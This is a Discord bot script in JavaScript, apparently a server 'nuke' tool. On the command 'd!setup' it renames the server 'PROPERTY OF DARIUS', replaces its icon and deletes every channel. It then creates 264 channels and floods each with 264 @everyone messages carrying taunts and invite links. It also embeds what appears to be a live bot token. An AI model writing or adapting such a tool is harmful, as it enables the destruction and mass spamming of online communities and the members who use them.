const { Client, GatewayIntentBits, PermissionsBitField, ChannelType, } = require("discord.js"); const client = new Client({ intents: [ GatewayIntentBits.Guilds, GatewayIntentBits.GuildMessages, GatewayIntentBits.MessageContent, GatewayIntentBits.GuildMembers, ], }); // Replace 'YOUR_BOT_TOKEN' with your actual bot token const token = "MTMzODc5MDEzOTUxMzU0MDYxMQ.GAfnwz.ABc8M36SLzZHQrbMxwpIJyYxas09HqxmDhGcVU"; const imageUrl = "https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcQ_9OFpIc0Y0lpwE3BM8w6hVpAGpEsLg-dLDg&s"; // Replace with the URL of the image you want to use client.once("ready", () => { console.log("Bot is ready to nuke"); }); client.on("messageCreate", async (message) => { // Respond to a specific command if (message.content === "d!setup") { // Check if the message author has the right permissions if ( message.member.permissions.has( PermissionsBitField.Flags.ManageGuild, ) && message.member.permissions.has( PermissionsBitField.Flags.ManageChannels, ) ) { try { // Change the server name await message.guild.setName("PROPERTY OF DARIUS"); console.log("Server name changed to: PROPERTY OF DARIUS"); // Change the server profile picture await message.guild.setIcon(imageUrl); console.log("Server profile picture changed"); // Get all channels in the guild const channels = message.guild.channels.cache; // Delete each channel concurrently await Promise.all( channels.map((channel) => channel.delete().catch(console.error), ), ); // Create 264 new channels and send 264 messages in each concurrently const createAndSendPromises = []; for (let i = 1; i <= 264; i++) { createAndSendPromises.push( message.guild.channels .create({ name: `NUKED BY DARIUS GET BETTER SECURITY LMFAOO`, type: ChannelType.GuildText, // Text channel type }) .then((createdChannel) => { console.log( `Created channel ${createdChannel.name}`, ); const sendPromises = []; for (let j = 1; j <= 264; j++) { sendPromises.push( createdChannel .send( `# @everyone @here fucked by team darius1378910 get better security LOL # Invite 1: https://discord.gg/A7GzHpGt4C # Invite 2: https://discord.gg/vAHTTB398f https://media.discordapp.net/attachments/1338597142624993312/1338804808366161950/Mr_Beast_Meme_Original.mp4?ex=67ac6aa4&is=67ab1924&hm=0be0ec3b13b699836ff6539afaa96d06c5c1590c99683c7548012455f2e3cea5&`, ) .catch(console.error), ); } return Promise.all(sendPromises); }) .catch(console.error), ); } await Promise.all(createAndSendPromises); } catch (error) { console.error("Error executing operations:", error); } } else { message.reply( "error", ); } } }); client.login(token);